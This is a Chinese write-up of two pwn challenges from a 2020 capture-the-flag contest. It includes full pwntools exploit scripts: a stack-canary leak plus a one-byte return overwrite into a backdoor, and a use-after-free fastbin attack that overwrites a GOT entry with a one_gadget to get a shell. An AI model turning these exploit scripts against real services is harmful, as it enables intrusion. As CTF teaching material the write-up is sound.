[PWN]2020铁三第四赛区个人赛writeup

前言

只有两道题都不难,但是最近没怎么做题,生疏了,做了好久才出来,留下没技术的泪水。还好队友给力,带我躺进了决赛。

顺便附上题目文件链接:

namepie.zip

onetime.zip

namepie

IDA打开直接看伪代码,漏洞在函数sub_9A0,栈溢出,但事实上没这么简单。

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t sub_9A0()
{
char s; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&s, 0, 0x1EuLL);
puts("Input your Name:");
read(0, &s, 0x30uLL);
printf("hello %s: and what do your want to sey!\n", &s);
return read(0, &s, 0x60uLL);
}

拉到linux上checksec查了下,保护全开,要成功栈溢出首先得绕过canary。

canary最后一个字节为00,所以直接写入0x29个字符,覆盖掉00,利用printf就能读出canary。

程序里还有个system('/bin/sh')的backdoor,跟栈溢出的返回地址刚好就差一个字节,所以随机地址也没什么影响。

最后padding带上canary,还有就是读到的canary记得减去覆盖00的那个字节就行了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './namepie'

if sys.argv[1] == 'l':
p = process(['./namepie'])
else:
p = remote('172.20.14.91',9999)

# gdb.attach(p)
p.sendafter('Input your Name:',cyclic(0x29))
p.recvuntil('iaaajaaa')
canary = u64(p.recv(8))-0x6b
print(hex(canary))

p.sendafter('and what do your want to sey!\n',flat(cyclic(0x28),canary,0xdeadbeef)+'\x71')
p.interactive()

onetime

UAF的题,有增删改查的功能,还有一个选项能添加堆块并写入内容,但都只能用一次。

UAF就处在del功能里,free掉堆块后没将指针置空。

1
2
3
4
5
6
7
8
9
10
int cmd_del()
{
int result; // eax

free(buf); // uaf
result = puts("complete!");
add_flag = 0;
del_flag = 1;
return result;
}

由于添加的堆块的大小都为0x60,所以删掉一个堆块得到fastbin,再利用UAF修改fastbinfd,连续添加两个堆块就能实现任意地址写。

checksec查了下,没开随机地址,bss上刚好有个0x7f,所以fake chunk就能开bss上了。标记功能使用次数的flag也在bss上,把flag改为大于1,就能绕过了使用次数的限制。

然后改buf的指针到got表,利用读功能得到libc的基址,再然后改got表为one_gadget的方式getshell。

改了后的bss:

测试下来,改read的got,one_gadget能正常使用。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './onetime'
elf = ELF('./onetime')

if sys.argv[1] == 'l':
p = process('./onetime')
libc = context.binary.libc
print(libc)
else:
p = remote('172.20.14.91',10001)
libc = ELF('./libc-2.23.so')

def cmd_add():
p.sendlineafter('your choice >>','1')

def cmd_edit(content):
p.sendlineafter('your choice >>','2')
p.sendafter('fill content:',content)

def cmd_show():
p.sendlineafter('your choice >>','3')
p.recvuntil('data:')
return p.recvline()

def cmd_del():
p.sendlineafter('your choice >>','4')

def cmd_add_name(content):
p.sendlineafter('your choice >>','5')
p.sendafter('Hero! Leave your name:',content)

# gdb.attach(p,'b *0x4009be')
fake_chunk = 0x602090 - 0x3
read_got = elf.got['read']
# print(read_got)

cmd_add()
cmd_del()
cmd_edit(flat(fake_chunk))
cmd_add()
cmd_add_name('\x00'*3+flat(cyclic(0x8),read_got,cyclic(0x10)))
read_got = u64(cmd_show()[:-1].ljust(8,'\x00'))
libc.address = read_got - libc.sym['read']
print(hex(libc.address))

# one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
cmd_edit(flat(libc.address+one_gadget[0]))
# cmd_del()

p.interactive()

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×